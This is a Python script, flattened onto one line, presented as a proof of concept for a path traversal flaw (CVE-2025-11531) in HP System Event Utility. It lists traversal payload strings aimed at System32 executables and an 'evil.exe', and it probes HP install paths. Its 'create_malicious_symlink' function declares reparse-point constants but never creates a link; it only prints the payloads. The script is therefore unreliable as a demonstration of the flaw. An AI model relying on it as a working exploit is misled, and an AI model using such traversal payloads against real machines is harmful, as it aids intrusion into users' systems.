CVE-2025-11531

# CVE-2025-11531 PoC - Path Traversal in HP System Event Utility # Affected: HP System Event Utility < 3.2.12, Omen Gaming Hub < 1101.2511.101.0 # CVSS 8.8 (High) import os import sys import ctypes from ctypes import wintypes # Windows API structures class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [("nLength", wintypes.DWORD), ("lpSecurityDescriptor", wintypes.LPVOID), ("bInheritHandle", wintypes.BOOL)] # Load Windows DLLs kernel32 = ctypes.windll.kernel32 advapi32 = ctypes.windll.advapi32 def create_malicious_symlink(target_path, link_path): """Create symbolic link for path traversal exploitation""" # Attempt to create junction/symlink to bypass path restrictions try: # Using DeviceIoControl for junction creation FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000 FSCTL_SET_REPARSE_POINT = 0x000900A4 print(f"[*] Target: {target_path}") print(f"[*] Link: {link_path}") print("[*] Path traversal technique requires crafting malicious paths") print("[*] Example: ../../../../Windows/System32/cmd.exe") # Simulate path traversal payload malicious_paths = [ "..\\..\\..\\..\\Windows\\System32\\cmd.exe", "..\\..\\..\\..\\Windows\\System32\\calc.exe", "..\\..\\..\\..\\Users\\Public\\malicious.exe", "%TEMP%\\..\\..\\..\\Windows\\System32\\..\\..\\evil.exe" ] for path in malicious_paths: print(f"[*] Testing path: {path}") return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_hp_utility(): """Main exploitation function for HP System Event Utility""" print("="*60) print("CVE-2025-11531 PoC - HP System Event Utility Path Traversal") print("="*60) # HP System Event Utility typically runs with elevated privileges hp_event_util_paths = [ r"C:\Program Files\HP\HP System Event\HPMSGHWPlugIn.exe", r"C:\Program Files\HP\HP System Event\HPSystemEventUtility.exe", r"C:\Program Files\HP\HP System Event\HPMSGHWPlugIn.dll" ] print("\n[*] Checking HP System Event Utility installation...") for path in hp_event_util_paths: if os.path.exists(path): print(f"[+] Found: {path}") print("\n[*] Generating path traversal payloads...") create_malicious_symlink("C:\\Windows\\System32", "C:\\HPEvent\\..\\..\\..\\..\\") print("\n[!] Note: This PoC demonstrates the vulnerability concept") print("[!] Actual exploitation requires specific vulnerable versions") print("[!] Mitigation: Upgrade to HP System Event Utility 3.2.12+") if __name__ == "__main__": exploit_hp_utility()

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